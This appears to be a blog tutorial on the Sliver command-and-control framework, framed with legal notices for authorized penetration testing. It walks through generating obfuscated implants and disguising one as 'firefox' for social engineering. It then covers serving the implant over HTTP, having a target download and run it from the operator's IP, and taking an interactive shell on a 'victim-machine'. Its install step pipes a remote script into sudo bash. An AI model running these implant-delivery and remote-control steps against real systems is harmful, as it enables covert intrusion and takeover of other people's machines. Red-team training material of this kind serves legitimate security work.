Zerotrace Logs

Getting Started with Sliver C2

Sliver C2 Framework

Published: November 16, 2025

⚠️ Legal and Ethical Notice: Sliver C2 is a powerful command and control framework designed for legitimate penetration testing and red team operations. This tutorial is intended for authorized security professionals only. Unauthorized use of C2 frameworks against systems you do not own or have explicit permission to test is illegal and unethical. Always obtain proper written authorization before conducting any security assessments.

Overview

Sliver is a modern, open-source Command and Control (C2) framework developed by BishopFox, designed for penetration testers and red teamers. Unlike traditional C2 frameworks, Sliver offers cross-platform support, multiple communication protocols, and built-in operational security features that make it a powerful tool for adversary simulation and security testing.

What you'll learn in this guide:

Prerequisites

Before starting this tutorial, ensure you have:

Understanding Sliver C2

What Makes Sliver Different?
Sliver distinguishes itself from other C2 frameworks through several key features:
Sessions vs Beacons: What's the Difference?
Sliver supports two types of connections:

This guide focuses on sessions for simplicity, but beacons are recommended for real-world engagements.

Installation and Setup

[Step 1] Installing Sliver C2

Sliver provides an automated installation script that handles all dependencies. Run the following command to download and install:

curl https://sliver.sh/install | sudo bash

This script will:

Installation Note: The installer requires root privileges because it creates system services and modifies system directories. Always review installation scripts before piping them to bash in production environments.

[Step 2] Verifying the Installation

After installation completes, verify that the Sliver service is running correctly:

sudo systemctl status sliver

You should see output indicating the service is active (running). If the service is not running, start it manually:

sudo systemctl start sliver
Important: After system reboots, ensure the Sliver service is running before attempting to connect. Enable automatic startup with: sudo systemctl enable sliver

[Step 3] Installing Mingw-w64 (Windows Cross-Compilation)

To generate Windows implants from your Linux system, you'll need the Mingw-w64 toolchain:

sudo apt install mingw-w64

This package provides the necessary compilers and libraries to build Windows executables and DLLs from Linux. Without it, you'll only be able to generate implants for your host operating system.

Navigating the Sliver CLI

[Launch] Starting the Sliver Console

Launch the Sliver command-line interface by simply typing:

sliver

You'll be greeted with the Sliver prompt, indicating you're ready to start creating implants and managing sessions.

How Do I Learn Sliver Commands?
The help command is your primary resource for learning Sliver. Here's how to use it:

Always consult help when exploring new functionality or troubleshooting issues.

Essential Sliver Commands

generate - Creating Implants

The generate command creates new implant binaries. You must specify at least one C2 protocol and can customize the target platform:

generate --mtls <IP:PORT> --os <windows|linux|macos> --arch <amd64|386> --save <path>

Listener Commands: mtls, http, https, dns

These commands start listeners for their respective protocols. Listeners wait for incoming connections from deployed implants:

mtls --lhost <IP> --lport <PORT>

sessions - Managing Active Connections

View, interact with, or terminate active sessions:

use - Switching to a Session

Drop into an interactive session for direct command execution:

use <session_id>

background - Backgrounding Sessions

Return to the main Sliver shell while keeping the session active:

background

jobs - Viewing Active Listeners

Display all running listeners and background tasks:

jobs

Understanding Implant Types

Platform-Specific Executables: Each operating system uses different executable formats. Understanding these is crucial for successful implant deployment.
Operating System File Format Description
Windows .exe Portable Executable - Standard Windows application format
Windows .dll Dynamic-Link Library - Shared library for sideloading attacks
Linux ELF Executable and Linkable Format - Standard Unix/Linux executable
macOS Mach-O Mach Object - Native macOS/iOS executable format

Practical Walkthrough: Windows Target

[Example 1] Generating a Windows MTLS Implant

Let's create a Windows implant using the MTLS (Mutual TLS) protocol, which provides encrypted, authenticated communication:

sliver > generate --mtls 192.168.140.128:443 --os windows --save /home/kali

Command breakdown:

You'll see output similar to:

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 30s
[*] Implant saved to /home/kali/BIG_FENCING.exe
Symbol Obfuscation: Sliver automatically obfuscates symbols and strings in the compiled binary to evade signature-based detection. Each build is unique, making static analysis more difficult for defenders.

Practical Walkthrough: Linux Target

This walkthrough demonstrates the complete process of generating, delivering, and catching a Sliver implant on a Linux target system.

[Step 1] Generate Linux Implant

From the Sliver console, generate an MTLS implant for Linux:

sliver > generate --mtls 10.200.0.159:443 --os linux --save /home/kali/

Replace 10.200.0.159 with your Kali machine's IP address (use ip a to find it). The implant will be saved with a randomly generated name like above-freezer.

[Step 2] Prepare for Transfer

Create a directory to organize your implant delivery:

mkdir webserver
mv above-freezer webserver/firefox
cd webserver

Renaming the implant to something legitimate-sounding like firefox helps with social engineering and reduces suspicion during manual inspection.

[Step 3] Start HTTP Server for Delivery

Use Python's built-in HTTP server to host the implant:

python3 -m http.server 80

This creates a simple web server on port 80, serving files from the current directory. Your implant is now accessible at http://<your-IP>/firefox.

Alternative Delivery Methods: In real engagements, you might use USB drops, email attachments, SMB shares, or exploit delivery. The HTTP method is shown here for simplicity in lab environments.

[Step 4] Configure MTLS Listener

Open a new terminal tab, launch Sliver again, and start the MTLS listener:

sliver > mtls --lhost 10.200.0.159 --lport 443

Important: The IP and port must match exactly what you specified when generating the implant. Mismatched values will prevent callback.

Verify the listener is active:

sliver > jobs

ID   Name   Protocol   Port
==   ====   ========   ====
1    mtls   tcp        443

[Step 5] Execute on Target Machine

On your target Linux system, download and execute the implant:

# Download the implant
wget http://10.200.0.159/firefox

# Make it executable
chmod +x firefox

# Execute the implant
./firefox

The implant will execute silently in the foreground. For persistent access, you'd typically background it or establish persistence mechanisms, but that's beyond the scope of this introductory guide.

[Step 6] Interact with the Session

Back in your Sliver console, you should see a new session notification:

[*] Session e8a4bc72 FREEZING_HARBOR - 10.200.0.200:45832 (victim-machine) - linux/amd64 - Sun, 16 Nov 2025 14:23:45 UTC

List all active sessions:

sliver > sessions

ID         Name              Transport   Remote Address         Hostname         Username   Operating System   Last Check-In
==========  ================  ==========  =====================  ===============  =========  =================  =============
e8a4bc72   FREEZING_HARBOR   mtls        10.200.0.200:45832     victim-machine   ubuntu     linux/amd64        0s ago

Interact with your new session:

sliver > sessions -i e8a4bc72

Now you're in an interactive session. Test with basic commands:

[victim-machine] sliver > whoami
ubuntu

[victim-machine] sliver > pwd
/home/ubuntu

Working Within Sessions

Once inside a session, you have access to numerous post-exploitation commands. Here are the essentials:

Basic Information Gathering

File System Operations

Interactive Shell Access

For maximum flexibility, drop into a native shell:

[victim-machine] sliver > shell

This spawns an interactive shell (bash on Linux, PowerShell on Windows). You can now run any operating system command as if you were directly logged in.

OpSec Warning: Interactive shells are considered "noisy" from a detection perspective. They spawn visible processes and can trigger alerts in EDR solutions. Use built-in Sliver commands when possible for stealth.

Exiting the shell: Type exit and then press CTRL+D to return to the Sliver session.

Session Management

To leave a session without terminating it:

[victim-machine] sliver > background

This returns you to the main Sliver prompt while keeping the session active in the background. You can reconnect anytime using sessions -i <ID>.

Understanding the Armory

What is the Sliver Armory?
The Sliver Armory is a repository of community-contributed extensions and third-party tools that integrate with the Sliver framework. Think of it as a package manager for post-exploitation capabilities.

Armory Features

Using the Armory

Browse available packages:

sliver > armory

Install a specific package:

sliver > armory install <package_name>

Common useful packages include:

Note: The Armory is constantly evolving with new contributions. Always review extension source code before use in production engagements.

Operational Security Considerations

🔒 Best Practices

🛡️ For Defenders

Understanding Sliver helps defenders detect and respond to C2 activity:

Troubleshooting Common Issues

Implant Won't Callback
Check these common issues:
Can't Generate Windows Implants on Linux
Install the cross-compilation toolchain: 
sudo apt install mingw-w64
Then restart Sliver and try again.
Session Dropped Unexpectedly
Sessions can drop due to: Consider using beacons with reconnection logic for more resilient C2.

Next Steps and Advanced Topics

This guide covered the fundamentals of Sliver C2. To continue your learning:

Advanced Sliver Features

Integration with Other Tools

Resources for Further Learning

Key Takeaways

Sliver C2 is a modern, versatile framework that brings enterprise-grade capabilities to penetration testing engagements. Through this guide, you've learned:

Remember that C2 frameworks are powerful tools that require responsibility, authorization, and ethical use. Always operate within the bounds of your engagement scope and applicable laws. The knowledge gained here should be used to strengthen security postures, not compromise them.